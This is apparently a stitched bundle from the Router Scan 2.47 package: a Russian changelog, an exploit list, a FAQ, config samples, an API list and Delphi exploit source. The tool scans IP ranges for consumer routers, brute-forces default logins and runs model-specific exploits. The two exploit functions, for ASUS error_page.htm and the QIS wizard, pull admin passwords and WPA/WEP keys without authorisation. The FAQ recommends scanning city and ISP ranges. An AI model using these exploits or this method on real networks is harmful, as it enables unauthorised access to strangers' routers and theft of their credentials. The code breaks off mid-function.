		8. Исправлен баг меню (при очистке таблицы некоторые элементы оставались разблокированными)


		9. Добавлена функция получения информации IP через сервис 2IP.ru


		10. Исправлен порядок переключения элементов окна табуляцией


		11. В процессе подбора Basic/Digest пароля к роутеру теперь выводятся проценты


		12. Обновлён модуль HNAP


		13. Добавлена функция поиска физического местоположения точки доступа




		Версия 2.40


		1. Добавлены модели роутеров:


		- ASUS:


		HG (Universal, test)


		Blue (Universal, test)


		Black (Universal, test)


		WL-550gE HG


		RT-N12 HG


		RT-N12 Rev.C1 Black


		RT-N12 Rev.B1 HG


		- Cisco:


		Linksys (Universal, test)


		Linksys E900


		- D-Link:


		DIR-320 WiMAX HG (ASUS firmware)


		DSL-2500U (проводной)


		- NETGEAR:


		WNR3500L (ASUS firmware)


		- TP-LINK:


		WR941N


		- Upvel:


		UR-319BN


		UR-344AN4G+


		UR-322N4G


		UR-344AN4G


		UR-314AN


		UR-312N4G


		- ZyXEL:


		NDMSv1 (Universal)


		- Other:


		Micro DSL Router


		Wive-NG


		Boa ADSL Router


		2. Улучшена поддержка прошивки ZyXEL NDMSv1


		3. Обновлены парсеры: Upvel Universal/Onlime, DD-WRT, D-Link v2, ZTE Router, Tomato, Tenda 11N, ASUS RT-N16, ASUS HG, ASUS WR Black, D-Link DI-824VUP/DI-824VUP+, Upvel ADSL, D-Link DIR-100, ZyXEL ZyWALL Series, Cisco Linksys WRT54GL, D-Link DIR-300/320, D-Link DIR-655


		4. Добавлен экспорт в таблицу XML 2003


		5. Добавлен запрос подтверждения при закрытии программы во время сканирования


		6. Исправлены сигнатуры определения роутеров Intercross


		7. Дополнены сигнатуры определения ASUS WR Black


		8. Обновлён модуль HNAP: теперь игнорирует (null) при запросе WAN информации


		9. Изменена обработка заголовка Location в клиенте HTTP: если узел перенаправляет на другое имя хоста, то сканирование продолжится на этом же узле, но с новым именем хоста (актуально для прошивки NDMS v2.02, которая перенаправляет на хост my.keenetic.net)


		10. Улучшена функция открытия роутера в браузере: пароль вводится автоматически


		11. Большинство функций, которые могли вызвать необработанные исключения в потоках, заменены на безопасные


		12. Теперь все настройки сохраняются в config.ini


		13. Добавлена возможность автоматического сохранения результатов после полной остановки сканирования или при закрытии во время сканирования (сохраняет в папку программы, имя файла - текущая дата и время)


		14. В поставку включён улучшенный файл с описанием поддерживаемых моделей роутеров




		Версия 2.39


		1. Добавлены модели роутеров:


		- AnyData:


		AWR-500A


		- ASUS:


		DSL-N10


		RT-AC56U


		RT-AC56U Black


		RT-N10 Rev.C1


		RT-N10P Black


		RT-N12 Rev.D1 Black


		RT-N14U Black


		RT-N15U Black


		RT-N53 Black


		RT-N56U Grey


		RT-N65U Black


		WL-AM604g HG


		- Cisco:


		EPC2325


		- D-Link:


		DCS-930L


		DIR-300BEEB5


		DIR-300NRU rev.B6


		DIR-320 HG (ASUS firmware)


		- LevelOne:


		SC1BA85A (на стадии тестирования)


		- NETGEAR:


		JDGN1000


		WGR614 v9


		WNDR4000


		- NeoPort:


		Cell Router


		PORT-5E


		- Tenda:


		Beeline 11N


		- Thomson:


		Firmware ST5D.06.03


		Firmware STA3.66.05


		Firmware STB1.53.11


		Firmware STB6.01.40


		Firmware STB6.01.60


		Firmware STB6.07.02


		- TP-LINK:


		WR842ND


		- TRENDnet:


		TEW-452BRP


		- Upvel:


		UR-313N4G


		UR-319BN (Onlime)


		UR-354AN4G


		- ZyXEL:


		KEENETIC ULTRA


		KEENETIC GIGA II


		NDMSv2 (Universal)


		- Other:


		Tomato


		2. Добавлены текстовые файлы с конфигурацией пар логин/пароль для авторизации


		3. Обновлён алгоритм определения (сначала определяется Basic/Digest имя пользователя и пароль, затем определяется модель)


		4. Файлы конфигурации для портов и диапазонов сделаны обязательными


		5. Обновлены сигнатуры HTML Hex


		6. Обновлены парсеры TRENDnet TEW-651BR, ASUS RT-N10/12 E/LX, D-Link v2, NETGEAR WNR3500L, JWNR2000 v2, TRENDnet Beeline Router, D-Link DAP-1155/1360, DD-WRT, ASUS RT-G32, D-Link DIR-300/320, ASUS Black, ASUS HG, ASUS RT-N56U, D-Link DIR-615, TRENDnet TEW-652BRP, ZyXEL ZyWALL Series, ZTE ZXDSL 531BII, ASUS WL-AM604g, TRENDnet TEW-432BRP, D-Link DIR-320 Entware HG, NETGEAR WGR612/JWNR2000, NETGEAR WNR612 v2/WNR1000 v2, ZyXEL P-330W EE, Generic ADSL


		7. Добавлена эксплуатация уязвимости в ZTE ZXDSL 531BII - получение пароля администратора (проверено на прошивке V3.0.0d_B09_OV)


		8. Улучшена поддержка прошивки ZyXEL NDMSv2, исправлен баг получения WAN информации


		9. Добавлена поддержка D-Link DIR-100 ревизии D1


		10. Добавлена эксплуатация уязвимости в D-Link DIR-100 - получение пароля администратора и настроек роутера (прошивка 4.02 и 4.03)




		Версия 2.38


		1. Добавлены модели роутеров:


		- ASUS:


		RT-AC66U


		RT-AC66U Black UI


		RT-N10U


		RT-N10U Black UI


		RT-N12 Black UI


		RT-N12 Rev.B1


		RT-N15


		WL-500g Premium HG


		- D-Link:


		DI-824VUP+


		DIR-320 Entware HG


		DIR-825


		- Huawei:


		HG532c


		HG532e


		- Intercross:


		4P (проводной)


		- TP-LINK:


		WR741ND


		WR743ND


		WR1043ND


		- TRENDnet:


		TEW-650AP


		- UPVEL:


		UR-315BN (Onlime)


		- ZTE:


		F412 (проводной)


		F460


		F620 (проводной)


		F660


		ZXDSL 831AII (проводной)


		- ZyXEL:


		Keenetic Lite v2.x


		2. Добавлена чистка полей при использовании функции Rescan


		3. Обновлён парсер TRENDnet TEW-651BR


		4. Исправлено определение авторизации во всех парсерах ASUS (раньше могло выдать :admin, если авторизация успешна, но подходящая сигнатура не найдена)


		5. Добавлена эксплуатация уязвимости в ZTE ZXDSL 831AII - получение имени и пароля администратора


		6. Добавлен скроллинг для правой части верхней панели, если она не помещается на экран


		7. Исправлен баг при сохранении файла CSV (добавляет расширение, если не указано)


		8. Добавлены новые колонки BSSID, WPS Pin и LAN (получение данных в разработке)


		9. Колонка SSID переименована в ESSID


		10. Исправлен баг в парсере ASUS RT-G32 для прошивки 2.0.0.5 (получение ключа)


		11. Исправлен баг в парсере DIR-300/320 rev. B1 для прошивки 2.04 (получение ключа)


		12. Обновлён парсер NETGEAR WNR1000v2 для прошивки 1.0.2.12


		13. Обновлены парсеры: ASUS RT-N16, ZyXEL P-330W EE, TRENDnet TEW-651BR, ASUS RT-N16 Black, ASUS RT-G32, D-Link DI-624, NETGEAR WGR614 v7, UPVEL UR-325BN, D-Link DIR-130, D-Link DIR-628, EDIMAX BR6428GN, Intercross 1P, D-Link DI-524, TRENDnet TEW-432BRP, ASUS WL-AM604g


		14. Обновлён парсер D-Link DIR-615 для прошивки 3.03RU


		15. Обновлён парсер TRENDnet TEW-652BRP для прошивки 1.10.14


		16. Найден и добавлен обходной путь при получении данных по протоколу HNAP (если роутер отдаёт неполный список SOAP действий)


		17. Модуль HNAP обновлён


		18. Добавлена эксплуатация уязвимости для D-Link DIR-825 - получение пароля администратора при логине на роутере с правами пользователя (проверено на прошивке 2.09WW, ревизия B1)


		19. Добавлена эксплуатация уязвимости для ZTE F660 - обход авторизации (проверено на прошивке V2.20.20P1T6S, также работает на других моделях серии F)


		20. Исправлены баги в модуле Cookie Manager




		Версия 2.35


		1. Добавлены модели роутеров:


		- ASUS:


		RT-N12LX


		- D-Link:


		DSL-2600U


		DSL-2640U


		DSL-2640NRU-SZT-Arch


		DSL-2640NRU-SZV


		DSL-2650NRU


		- Intercross:


		1P (проводной)


		- UPVEL:


		UR-315BN


		- Other:


		Generic ADSL Firmware


		2. Исправлен баг List index out of bounds (-1)


		3. Улучшен парсер DD-WRT


		4. Улучшен парсер ASUS RT-N16 HG


		5. Добавлена вкладка, на которую выводятся только положительные результаты сканирования


		6. Добавлена кнопка "Приостановка/Возобновление"


		7. Обновлен модуль eXcessive Scan, добавлено:


		- Эксплойт для несконфигурированного Hudson-CI/Jenkins-CI Servlet (исполнение произвольного Java кода)




		Версия 2.34


		1. Добавлены модели роутеров:


		- ASUS:


		RT-N10E


		RT-N10LX


		RT-N10+


		RT-N11 HG


		RT-N12E


		RT-N15U


		WL-320gP HG


		WL-500gP HG


		WL-500gP V2 HG


		WL-500W HG


		WL-520gU HG


		WL-530gV2 HG


		- D-Link:


		DAP-1155


		DAP-1360


		DIR-320NRU


		DIR-300NRU rev.B5 Black UI


		DIR-300NRU rev.B7


		DIR-615 Black UI


		DIR-620 Grey UI


		- Intercross:


		4PW


		- ZTE:


		ZXDSL 831CII


		- ZyXEL:


		KEENETIC 4G


		- Other:


		DD-WRT


		2. Исправлен баг в парсере ASUS/HG


		3. Добавлена эксплуатация уязвимости в ZTE ZXDSL 831CII - получение имени и пароля администратора


		4. Парсер WNR1000 v2/WNR612 v2 обновлён


		5. Исправлен баг в парсере DIR-400


		6. Исправлен баг в парсере DIR-615 при WEP шифровании


		7. Добавлен модуль eXcessive Scan, в него входит:


		- Детектор прокси


		- Поддержка протокола HNAP 1.0


		- Эксплойт для уязвимости в несконфигурированном SQLite Manager (исполнение произвольного php кода)




		Версия 2.31


		1. Добавлена поддержка роутеров:


		- ASUS:


		WL-520g HG


		- EDIMAX:


		BR6228GNS Firmware 1.13


		BR6425N Firmware 1.10


		BR6425N Firmware 1.21


		Firmware 1.06


		Firmware 1.51


		Firmware 1.57


		Firmware 2.52


		Firmware 2.89


		- TP-LINK:


		WR541G/542G


		WR641G/642G


		WR841N




		Версия 2.30


		1. В движке сканирования исправлен баг переполнения потоков (теперь подсчитывает кол-во активных потоков верно)


		2. Исправлен баг с получением кода ответа от сервера в процессе авторизации


		3. Исправлено зависание потоков в конце сканирования


		4. Наконец-то исправлен баг в HTTP клиенте с поддержкой Digest MD5 авторизации (проверка подлинности AUTH-INT пока не поддерживается)


		5. Улучшен экспорт в таблицу CSV


		6. Добавлена функция поиска в таблице


		7. Добавлена функция автоматической прокрутки списка при появлении новых записей


		8. Добавлена возможность указать пару логин/пароль для авторизации


		9. Добавлена функция перебора стандартных логинов и паролей для роутеров, которые не удалось опознать (проверяет отсутствие кода 401), автоматически определяется тип авторизации (поддерживается Basic и Digest)


		10. Добавлена поддержка роутеров:


		- ASUS:


		DSL-N12U


		RT-G32 Rev.C1


		RT-N10U HG


		RT-N12 Rev.C1


		RT-N13


		RT-N13U Rev.B1


		RT-N16 (Black UI)


		RT-N16 HG


		RT-N56U


		RT-N56U (Black UI)


		RT-N66U (Black UI)


		WL-500gP V2


		WL-520gC HG


		WL-520GU


		- Cisco:


		Linksys WRT54G


		Linksys WRT54GL


		- D-Link:


		Beeline D150L


		DI-524


		DIR-300 (Black UI)


		DIR-300 (Beeline UI)


		DIR-300NRUB5


		DIR-628


		DSL-2640NRU


		- NETGEAR:


		WGR614 v7


		WNR1000 v2


		WNR3500L


		- TRENDnet:


		Beeline Router


		TW100-S4W1CA


		- UPVEL:


		UR-325BN


		- ZyXEL:


		Beeline N150L


		KEENETIC


		KEENETIC GIGA


		KEENETIC LITE


		ZyWALL Series


		11. Добавлена эксплуатация новой найденной уязвимости для D-Link DIR-300 и DIR-320 - получение пароля администратора без авторизации на роутере (источник: http://chelaxe.ru/?p=634#comment-6976)


		12. Добавлена эксплуатация уязвимости для D-Link DI-524 - получение пароля администратора при логине на роутере с правами пользователя




		Версия 2.24


		1. Исправлен баг в движке сканирования, а также баг рескана




		Версия 2.23


		1. Улучшена функция сканирования (скоростные характеристики)


		2. Исправлено ещё несколько мелких багов




		Версия 2.21


		1. Исправлено несколько багов в потоках


		2. Добавлена возможность собственного выбора портов для сканирования


		3. Добавлена возможность сканировать одиночные IP-адреса (добавляются там же, где и диапазоны)




		Версия 2.2


		1. Несколько незначительных изменений в интерфейсе


		2. Добавлена возможность сканирования по нескольким диапазонам


		3. Автоматическая загрузка диапазонов из файла при запуске


		4. Сохранение результатов сканирования целиком в таблицу CSV




		Ранние (приватные) версии




	




RouterScan2.47/help/ru/exploits.html



		- ASUS (некоторые модели)


		1. Получение пароля администратора


		2. Получение настроек локальной сети без авторизации


		3. Получение настроек беспроводной сети без авторизации




		- Alpha Networks (D-Link firmware)


		1. Получение имени и пароля администратора




		- D-Link DAP-1353, DIR-300, DIR-320


		1. Обход авторизации


		2. Получение пароля администратора




		- D-Link DI-524


		1. Получение пароля администратора при авторизации с правами пользователя




		- D-Link DIR-100 (прошивка 4.02 и 4.03)


		1. Получение настроек роутера без авторизации


		2. Получение пароля администратора




		- D-Link DIR-615


		1. Получение пароля администратора при авторизации с правами пользователя




		- D-Link DIR-628, D-Link DIR-655


		1. MD5+salt авторизация


		2. Обход капчи




		- D-Link DIR-825


		1. Получение пароля администратора при авторизации с правами пользователя




		- SerComm Beeline Smart Box S1000


		1. Получение настроек устройства и пароля администратора




		- Tenda 11N


		1. Получение пароля администратора




		- Ubicom firmware (проверено на TRENDnet TEW-631BRP)


		1. Получение пароля администратора при авторизации с правами пользователя




		- Vertex Wireless VW200


		1. Получение настроек роутера без авторизации




		- ZTE F660, ZXV10 W300, ZXV10 H108L, и другие


		1. Обход авторизации


		2. Получение имени и пароля администратора




		- ZTE ZXDSL 531BII


		1. Получение пароля администратора




		- ZTE ZXDSL 831AII


		1. Получение пароля администратора




		- ZTE ZXDSL 831CII


		1. Получение пароля администратора




		- ZyWALL / ZyNOS


		1. Получение пароля администратора без авторизации, либо с правами пользователя (файл конфигурации rom-0)




	




RouterScan2.47/help/ru/faq.html



		1. Основные вопросы




		1.1.


		Q: По какому принципу программа находит роутеры?


		A: Router Scan использует протокол HTTP для поиска роутеров, у которых открыт доступ к веб интерфейсу, так что потребуется соединение с Интернет, либо локальной сетью, которую вы будете сканировать.




		1.2.


		Q: Нужен ли для работы программы Wi-Fi адаптер?


		A: Исходя из предыдущего вопроса, беспроводной сетевой адаптер иметь не обязательно. Достаточно быть в сети.




		1.3.


		Q: Router Scan может сканировать точки, расположенные поблизости?


		A: Технически - нет. Теоретически - да, если вы укажете правильные IP диапазоны для сканирования. Можете попробовать найти IP диапазоны вашей страны и города, либо местных интернет провайдеров. Также, может быть полезно просканировать городскую локальную сеть, если у вас есть к ней доступ.




		1.4.


		Q: Где я ещё могу узнать ответы на вопросы?


		A: В комментариях на странице проекта очень много вопросов и ответов. По функциям программы вы также можете посмотреть историю изменений.






		2. Вопросы по функциям и возможностям




		2.1.


		Q: По каким признакам определяется модель роутера?


		A: По названию сервера, имени realm, по текстовым сигнатурам на главной странице, и по именам установленных cookies. В разных случаях проверяются разные признаки, иногда все сразу. Если были найдены признаки сходства с какой-либо моделью, но не достаточно данных одной корневой страницы, могут осуществляются дополнительные запросы на другие страницы.




		2.2.


		Q: В каком порядке происходит поиск или подбор пароля к роутеру?


		A: Прежде всего применяются эксплойты, получающие пароль к веб интерфейсу. Если пароль получен, он проверяется на валидность. В случае неудачи производится попытка использовать пару, указанную в функции Use credentials (если функция включена). И в последнюю очередь производится попытка подобрать пароль по умолчанию.




		2.3.


		Q: В чём разница между словарями auth_basic.txt и auth_digest.txt, и если они есть, то для чего нужна функция Use credentials?


		A: Словарь пар auth_basic.txt используется для подбора на роутерах, использующих Basic аутентификацию, а словарь пар auth_digest.txt для роутеров с Digest аутентификацией соответственно. Существует также множество роутеров, которые не поддерживают ни ту, ни другую аутентификацию, для них подбираются пароли по умолчанию, зашитые внутрь программы в парсеры. Но также для них можно использовать функцию Use credentials, чтобы указать свой пароль. Общий словарь пар для всех моделей роутеров не предусмотрен, поскольку у разных моделей разное поведение при множественных подборах. Некоторые могут блокировать авторизацию на длительное время.




		2.4.


		Q: Почему при открытии роутера в браузере функция автоматической авторизации срабатывает не всегда?


		A: Функция автоматической авторизации будет работать только для моделей, использующих Basic/Digest аутентификацию.




		2.5.


		Q: Я использую функцию Use credentials, и пароль к роутеру подбирается. Но если я её отключаю, и добавляю пару логин/пароль в файлы словарей auth_basic.txt и/или auth_digest.txt, то пароль к роутеру уже не подбирается. Почему так?


		A: Скорее всего, ваш роутер не использует Basic/Digest аутентификацию. Для таких роутеров необходимо использовать функцию Use credentials.




		2.6.


		Q: Будет ли добавлен перебор по словарю для устройств, не использующих Basic/Digest аутентификацию?


		A: Может быть будет, но очень не скоро. Пока что это технически трудно реализовать.






		3. Вопросы по добавлению функционала




		3.1.


		Q: Я нашёл роутер, который не распознаётся программой. Можно ли его добавить?


		A: Вы можете прислать мне образец роутера - отправить название модели, его IP-адрес и информацию для авторизации (заранее убедитесь, что доступ к роутеру открыт извне). Если вы не хотите, чтобы другие пользователи видели ваше сообщение, можете воспользоваться формой обратной связи, либо системой личных сообщений на сайте Stas'M Corp.




		3.2.


		Q: Можно ли добавить функцию изменения настроек, например массовое изменение SSID точек доступа, или замена DNS серверов?


		A: Нет. Если я добавлю такую функцию, есть большая вероятность, что при сканировании вы поменяете настройки чужого роутера, и владелец потеряет к нему доступ, это незаконно. Router Scan предназначен только для получения настроек, но не для изменения.




		3.3.


		Q: Мне не интересна информация о точках доступа, мне нужно получить логин и пароль к аккаунту провайдера интернета - VPN PPTP или PPPoE, можете реализовать?


		A: Нет. Если я добавлю такую функцию, есть большая вероятность, что вы воспользуетесь чужими данными, в результате чего настоящий владелец потеряет к доступ к интернету, это незаконно. Основное назначение Router Scan - это поиск точек доступа.




		3.4.


		Q: Мне нужно добавить несколько новых функций / моделей роутеров в Router Scan, я готов за это заплатить, сможете реализовать это только для меня?


		A: Нет. Я не занимаюсь созданием приватных версий Router Scan. Если ваши заявки не противоречат пунктам 3.2 и 3.3, не нарушают закон, не закрывают доступ, и не открывают дополнительные уязвимости, я смогу это реализовать. Всё что я реализую - идёт в публичную версию.






		4. Вопросы разработчиков




		4.1.


		Q: Могу ли я осуществлять мониторинг запросов и какими средствами?


		A: Конечно же, можете. Для этого в программе есть возможность указания HTTP/S прокси сервера. Могу порекомендовать Charles Proxy, либо WPE PRO для логирования всех TCP пакетов.




		4.2.


		Q: Будет ли кроссплатформенная версия Router Scan?


		A: Пока нет. До тех пор, пока мы не примем решение открыть исходный код, это невозможно.




		4.3.


		Q: Я могу дизассемблировать Router Scan в целях изучения?


		A: Этого я не могу запретить. Можете. В исполняемом файле Router Scan не использовались техники сжатия, шифрования, обфускации, и защиты от отладчиков, так что никаких препятствий нет.




		4.4.


		Q: Планируется ли в ближайшем будущем открытие исходного кода, или хотя бы его части?


		A: Отчасти, да. Планируется перевести все модули, парсеры и эксплойты в интерпретируемые скрипты.
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	Router Scan умеет находить и определять различные устройства из большого числа известных роутеров/маршрутизаторов и, что самое главное, - вытаскивать из них полезную информацию, в частности характеристики беспроводной сети: способ защиты точки доступа (шифрование), имя точки доступа (SSID) и ключ точки доступа (парольная фраза).


Также получает информацию о WAN соединении (удобно при сканировании локальной сети) и выводит марку и модель роутера.


Получение информации происходит по двум возможным путям:


1. Программа попытается подобрать пару логин/пароль к маршрутизатору из списка стандартных паролей, в результате чего получит доступ.


2. Либо будут использованы неразрушающие уязвимости (или баги) для конкретной модели маршрутизатора, позволяющие получить необходимую информацию и/или обойти процесс авторизации.
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Tree = [

	[1, 1, imgLogo, "Router Scan", [

		[0, imgPage, "О проекте", "main.html"],

		[0, imgPage, "История изменений", "changelog.html"],

		[1, 1, imgFolder, "Информация", [

			[0, imgPage, "Часто задаваемые вопросы", "faq.html"],

			[0, imgPage, "Поддерживаемые модели роутеров", "supported.html"],

			[0, imgPage, "Список эксплойтов", "exploits.html"],

		]],

	]],

];
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						Обозначения:




						- беспроводной роутер




						- проводной роутер (только ethernet)




						- на стадии тестирования (могут быть баги)




						- в разработке (работает частично, но без багов)




						- запланировано на будущее




		




		


		Поиск роутера: 


		Раскрыть всё Свернуть всё
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80

8080

1080
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192.168.0.1

192.168.1-10,199.1

10.0.0.1-10.0.0.254

172.16.0.0/12
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RouterScan2.47/src/API (incomplete).txt

Internal APIs (in alphabetic order, incomplete):



- function DecodeBase64(AStr: AnsiString): AnsiString;

Decodes string using Base64 algorithm:

AStr - source ANSI string

Result - resulting ANSI string

--------------

- function Deflate(var InStream, OutStream: TMemoryStream): Boolean;

Decompresses the stream using Deflate algorithm

InStream - input memory stream

OutStream - output memory stream

Result - decompression succeeds

--------------

- function DeleteBetween(S, First, Last: String): String;

Returns string between First and Last substrings:

S - source string

First - substring

Last - substring

Result - resulting string

--------------

- function GetHTTP(URL: String; var Response: String;

    var Code: Integer; Retry, Redir: Byte; var ServerName: String;

    UseAuth: Boolean; Username, Password: String): Boolean;

Makes GET HTTP request (Indy):

URL - full URL

Response - response body string

Code - resulting HTTP code

Retry - retry tries count on error (iterational)

Redir - maximum redirections count (recursive)

ServerName - resulting server name

UseAuth - send Basic authentication header

Username - Basic auth username

Password - Basic auth password

Result - request succeded

--------------

- function GetHTTPStream(URL: String; var Response: TMemoryStream;

    var Code: Integer; Retry, Redir: Byte; var ServerName: String;

    UseAuth: Boolean; Username, Password: String): Boolean;

Makes GET HTTP request (Indy):

URL - full URL

Response - response body memory stream

Code - resulting HTTP code

Retry - retry tries count on error (iterational)

Redir - maximum redirections count (recursive)

ServerName - resulting server name

UseAuth - send Basic authentication header

Username - Basic auth username

Password - Basic auth password

Result - request succeded

--------------

- function HexInvToString(Hex: String): AnsiString;

Converts hexadecimal string to ANSI string with inversion:

Hex - source string

Result - resulting ANSI string

--------------

- procedure LZSDecompress(Input: TBytes; var Output: TBytes);

Decompresses the data using LZS algorithm

Input - input data

Output - output data

--------------

- procedure ParseHTMLDec(var S: String);

Replaces special HTML characters in string (decimal encoded)

S - source string

--------------

- procedure ParseHTMLHex(var S: String);

Replaces special HTML characters in string (hexadecimal encoded)

S - source string

--------------

- function PostHTTP(URL: String; var RequestForm: TStringList;

    var Response: String; var Code: Integer; Retry, Redir: Byte;

    var ServerName: String; UseAuth: Boolean; Username, Password: String): Boolean;

Makes POST HTTP request (Indy):

URL - full URL

RequestForm - form query list

Response - response body string

Code - resulting HTTP code

Retry - retry tries count on error (iterational)

Redir - maximum redirections count (recursive)

ServerName - resulting server name

UseAuth - send Basic authentication header

Username - Basic auth username

Password - Basic auth password

Result - request succeded

--------------

- function PostHTTPStreamEx(URL: String; var Request: TMemoryStream; ContentType: String;

    var Response: TMemoryStream; var Code: Integer; Retry, Redir: Byte;

    var ServerName: String; UseAuth: Boolean; Username, Password: String): Boolean;

Makes POST HTTP request (Indy):

URL - full URL

Request - request body memory stream

ContentType - content type header

Response - response body memory stream

Code - resulting HTTP code

Retry - retry tries count on error (iterational)

Redir - maximum redirections count (recursive)

ServerName - resulting server name

UseAuth - send Basic authentication header

Username - Basic auth username

Password - Basic auth password

Result - request succeded

--------------

- function PtrHex(P: Pointer; Sz: Cardinal): AnsiString; overload;

- function PtrHex(P: Cardinal; Sz: Cardinal): AnsiString; overload;

Retrieves hexadecimal string from specified memory buffer:

P - buffer pointer

Sz - size in bytes

Result - resulting hexadecimal string

--------------

- function PtrStr(P: Pointer; Sz: Cardinal): AnsiString; overload;

- function PtrStr(P: Cardinal; Sz: Cardinal): AnsiString; overload;

Retrieves ANSI string from specified memory buffer:

P - buffer pointer

Sz - size in bytes

Result - resulting ANSI string

--------------

- procedure SetTableCell(Name, Value: String); 

Writes to table cell:

Name - column internal name

Value - plain text value

--------------

- procedure SetTableNoWireless;

Writes built-in values for wired devices to table.

--------------

- procedure StreamToAnsi(var M: TMemoryStream; var A: AnsiString);

Converts memory stream to ANSI string:

M - source memory stream

A - resulting ANSI string

--------------

- procedure TrimString(var S: String);

Trim trailing spaces in string:

S - source and resulting string

--------------

- function WEPBits(Pasw: String; Shared: Boolean = False): String;

Generates WEP security string:

Pasw - encryption key

Shared - authentication type

Result - resulting security string

--------------

- procedure WEPHexToAnsi(var Pasw: String); overload;

- procedure WEPHexToAnsi(var Pasw: AnsiString); overload;

Converts WEP encryption key to ANSI string if available:

Pasw - encryption key

--------------
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// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



// References:

// https://sintonen.fi/advisories/asus-router-auth-bypass.txt



function TScanThr.Exploit_ASUS_ErrPage(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  Code: Integer;

begin

  // Affected:

  // Many of ASUS models

  // U2C 300M

  Result := False;

  if ServerName <> 'httpd' then

    Exit;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/error_page.htm', S, Code, 8, 0,

  ServerName, UseAuth, AuthUser, AuthPass) then begin

    LAN := DeleteBetween(S, 'var current_lanip = ''', ''';');

    if LAN <> '' then

      SetTableCell(stcLANIP, LAN);

    LAN := DeleteBetween(S, 'var current_mask = ''', ''';');

    if LAN <> '' then

      SetTableCell(stcLANMask, LAN);

    AuthPass := DeleteBetween(S, 'if(''1'' == ''0'' || ''', ''' == ''admin'')');

    ParseHTMLDec(AuthPass);

    if AuthPass <> '' then begin

      AuthUser := 'admin';

      Result := True;

    end;

  end;

end;
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// Router Scan exploit

// Copyright (C) Stas'M Corp. 2014



// Project home page:

// http://stascorp.com/load/1-1-0-56



function TScanThr.Exploit_ASUS_QIS(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;

var

  Code: Integer;

begin

  // Affected:

  // ASUS RT-N13U

  // ASUS RT-N13U Rev.B1

  // ASUS RT-N13

  Result := False;

  if ServerName <> 'httpd' then

    Exit;

  if AuthOk and (AuthUser = 'admin') then

    Exit;

  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/QIS_wizard.htm', S, Code, 8, 0,

  ServerName, UseAuth, AuthUser, AuthPass) then begin

    if (Code = 401) or (S = '') then

      GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/qis/QIS_wizard.htm', S, Code, 8, 0,

      ServerName, UseAuth, AuthUser, AuthPass);

    AuthUser := DeleteBetween(S, '<input type="hidden" name="http_username" value="', '">');

    AuthPass := DeleteBetween(S, '<input type="hidden" name="http_passwd" value="', '">');

    ParseHTMLDec(AuthUser);

    ParseHTMLDec(AuthPass);

    if (AuthUser <> '') and (AuthPass <> '') then

      Result := True;

  end;

  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/qis/QIS_wireless.htm', S, Code, 8, 0,

  ServerName, UseAuth, AuthUser, AuthPass) then

    if Pos('wl_ssid', S)>0 then begin

      SSID := DeleteBetween(S, 'name="rt_ssid2" value="', '"');

      if SSID = '' then

        SSID := DeleteBetween(S, 'name="wl_ssid2" value="', '"');

      if Pos('<option value="open" selected>', S)>0 then

        Sec := 'Open';

      if Pos('<option value="shared" selected>', S)>0 then

        Sec := 'WEP Shared';

      if Pos('<option value="psk" selected>WPA-Personal', S)>0 then

        Sec := 'WPA';

      if Pos('<option value="psk" selected>WPA2-Personal', S)>0 then

        Sec := 'WPA2';

      if Pos('<option value="psk" selected>WPA-Auto-Personal', S)>0 then

        Sec := 'WPA/WPA2';

      if Pos('<option value="wpa" selected>WPA-Enterprise', S)>0 then

        Sec := 'WPA Enterprise';

      if Pos('<option value="wpa2" selected>', S)>0 then

        Sec := 'WPA2 Enterprise';

      if Pos('<option value="wpa" selected>WPA-Auto-Enterprise', S)>0 then

        Sec := 'WPA/WPA2 Enterprise';

      if Pos('<option value="radius" selected>', S)>0 then

        Sec := '802.1X';

      if Sec = '' then begin

        if DeleteBetween(S, 'name="rt_wpa_psk" value="', '" ') <> '' then

          Sec := 'WPA/WPA2';

      end;

      if Sec = 'Open' then begin

        Tmp := DeleteBetween(S, '<select name="wl_wep', '</select>');

        if Pos('<option value="0" selected>', Tmp)>0 then begin

          Sec := 'None';

          Pasw := '<empty>';

        end;

        if Pos('<option value="1" selected>', Tmp)>0 then

          Sec := 'WEP';

        if Pos('<option value="2" selected>', Tmp)>0 then

          Sec := 'WEP';

      end;

      if (Sec = 'WEP')

      or (Sec = 'WEP Shared') then begin

        Tmp := DeleteBetween(S, '<select name="wl_key', '</select>');

        if Pos('<option value="1" selected>', S)>0 then

          Pasw := DeleteBetween(S, 'name="wl_key1" value="', '"');

        if Pos('<option value="2" selected>', S)>0 then

          Pasw := DeleteBetween(S, 'name="wl_key2" value="', '"');

        if Pos('<option value="3" selected>', S)>0 then

          Pasw := DeleteBetween(S, 'name="wl_key3" value="', '"');

        if Pos('<option value="4" selected>', S)>0 then

          Pasw := DeleteBetween(S, 'name="wl_key4" value="', '"');

        WEPHexToAnsi(Pasw);

        if Sec = 'WEP' then

          Sec := WEPBits(Pasw)

        else

          Sec := WEPBits(Pasw, True);

      end;

      if (Sec = 'WPA')

      or (Sec = 'WPA2')

      or (Sec = 'WPA/WPA2')

      then begin

        Pasw := DeleteBetween(DeleteBetween(S, 'name="rt_wpa_psk"', '">'), 'value="', '" ');

        if Pasw = '' then

          Pasw := DeleteBetween(DeleteBetween(S, 'name="rt_wpa_psk2"', '>'), 'value="', '"');

        if Pasw = '' then

          Pasw := DeleteBetween(DeleteBetween(S, 'name="wl_wpa_psk"', '">'), 'value="', '" ');

        ParseHTMLHex(Pasw);

        if Pasw = '' then begin

          Pasw := DeleteBetween(S, 'var wl_wpa_psk_org = ''', ''';');

          Pasw := StringReplace(Pasw, '\''', '''', [rfReplaceAll]);

          Pasw := StringReplace(Pasw, '\"', '"', [rfReplaceAll]);

          Pasw := StringReplace(Pasw, '\\', '\', [rfReplaceAll]);

        end;

      end;

      if (Sec = '802.1X')

      or (Sec = 'WPA Enterprise')

      or (Sec = 'WPA2 Enterprise')

      or (Sec = 'WPA/WPA2 Enterprise')

      then begin

        Pasw := stcNoAccess;

      end;

      if SSID <> '' then begin

        ParseHTMLHex(SSID);

        SetTableCell(stcSSID, SSID);

      end;

      if Sec <> '' then

        SetTableCell(stcSec, Sec);

      if Pasw <> '' then

